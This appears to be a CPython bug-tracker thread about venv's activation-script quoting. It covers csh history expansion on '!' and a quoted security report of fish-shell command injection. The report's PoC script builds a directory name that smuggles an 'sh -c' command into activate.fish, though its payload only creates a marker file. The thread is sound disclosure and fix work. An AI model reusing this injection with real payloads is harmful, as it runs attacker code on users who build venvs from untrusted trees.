venv: '!' in --prompt breaks activate.csh (csh history expansion)

[tonghuaroot]

Bug report

venv quotes substituted strings in its activation scripts with POSIX
shlex.quote() for every script except .ps1/.bat (gh-124651). That is
wrong for activate.csh: (t)csh performs history expansion on ! even
inside single quotes, so a --prompt (or path) containing ! followed by a
word character produces an activate.csh that fails to source.

Reproducer

$ python -m venv --prompt 'py!env' /tmp/env
$ csh -c 'source /tmp/env/bin/activate.csh'
env: Event not found.

activate.csh runs setenv VIRTUAL_ENV_PROMPT 'py!env'; csh history-expands
!env, the line errors, and activation aborts (VIRTUAL_ENV/prompt unset).
Both csh and tcsh are affected; bash/zsh activate and activate.fish
are not (POSIX-compatible single quotes).

Cause

Lib/venv/__init__.py:replace_variables() dispatches the quoting function by
script suffix (.ps1 -> quote_ps1, .bat -> quote_bat, else -> shlex.quote).
activate.csh falls into the POSIX branch, which does not account for csh
history expansion.

Scope

--prompt is the cleanest case: the venv path is clean, so source works and
only the substituted prompt breaks -- fully fixable in venv. A ! in the venv
directory path is also mis-quoted by venv internally (same root cause), but
note that activating such a venv additionally requires the user to escape the
! in their own source <path> command line, which is outside venv's control.

Fix

Add a quote_csh that escapes !, and dispatch on .csh -- mirroring the
existing quote_ps1/quote_bat handling. Verified under csh and tcsh:
!, quotes, $, backtick, ;, &&, spaces, parens round-trip. (A newline
cannot be represented in a csh single-quoted string; that remains out of scope
and is unchanged from current behavior.)

Not a security issue: csh errors out rather than executing anything.

Linked PRs

• gh-152686: Quote '!' in venv activate.csh for (t)csh #152687

[vsajip]

Are there any characters other than ! which should be similarly escaped? If so, they might as well be done at the same time.

[tonghuaroot]

Good question. Among printable characters, ! is the only one (t)csh expands inside single quotes, so shlex.quote()'s single-quoting already covers the rest. I round-tripped the full shell-metacharacter set ($, backtick, ; & | && < > ( ) { } [ ] * ? ~ # ' " \, space, tab, !!, !$, ^) plus non-ASCII through both /bin/csh and /bin/tcsh with the ! escaping applied, and they all come back unchanged.

The only remaining cases are newline and carriage return: csh/tcsh can't hold those in a single-quoted string at all (setenv X 'a<LF>b' -> Unmatched '), so they aren't reachable by the same escaping. That's pre-existing, and a venv path or --prompt with an embedded newline is pathological, so I left it out of scope. I'm happy to make quote_csh raise a clear error for newline/CR if you'd prefer to cover that here too.

[StanFromIreland]

See also this report by @TheShiftedBit:

Summary

The fix for gh-124651 / CVE-2024-9287 routes every activation-script template substitution that is not .ps1/.bat through shlex.quote() (Lib/venv/__init__.py:507-515). shlex.quote() emits POSIX-sh single-quoting in which \ is always literal, but fish single-quoted strings recognise \' as an escaped quote. A path component containing \' therefore desynchronises fish's quote state from what shlex.quote() intended: the '"'"' re-quoting sequence shlex emits ends up leaving fish outside any quotes, so a following ;payload; is parsed as command separators. A venv created at a directory named (literal bytes) \'\';sh -c "touch $MARKER";\ executes sh -c "touch $MARKER" when bin/activate.fish is sourced. The same payload reaches activate.fish via __VENV_PROMPT__ as well, so --prompt is an equivalent vector.

Details

Threat model is identical to CVE-2024-9287: a user clones/extracts an attacker-supplied tree containing a maliciously-named directory and runs python -m venv <dir>; later sourcing bin/activate.fish executes attacker code. Suggested fix: add a fish-specific quoter that emits ' + s.replace('\\','\\\\').replace("'","\\'") + ' and select it for *.fish.

Tested and found vulnerable on CPython 3.13 (latest) and main at c575172.

PoC

Shell script (requires fish). Exits 1 if the marker file is created when activate.fish is sourced, 0 otherwise.

poc_venv_fish_injection.sh

#!/bin/bash
set -eu
PYTHON="${PYTHON:-python3}"
WORK=$(mktemp -d); trap 'rm -rf "$WORK"' EXIT
cd "$WORK"; export MARKER="$WORK/PWNED"

# Dirname (literal):  \'\';sh -c "touch $MARKER";\
EVIL=$'\\\x27\\\x27;sh -c "touch $MARKER";\\'
mkdir -- "$EVIL"

echo "[*] Creating venv at $(printf %s "$EVIL" | cat -v)"
"$PYTHON" -m venv --without-pip -- "$EVIL"

echo "[*] Generated 'set -gx VIRTUAL_ENV' line:"
grep -n 'set -gx VIRTUAL_ENV' -- "$EVIL/bin/activate.fish" | head -1

ln -s -- "$EVIL/bin/activate.fish" act.fish
echo "[*] Sourcing in fish..."
fish -c 'source act.fish' 2>&1 | head -20 || true

if [ -f "$MARKER" ]; then
    echo "[!] VULNERABLE: arbitrary command executed on activate.fish"
    ls -la "$MARKER"; exit 1
fi
echo "[+] Not vulnerable"; exit 0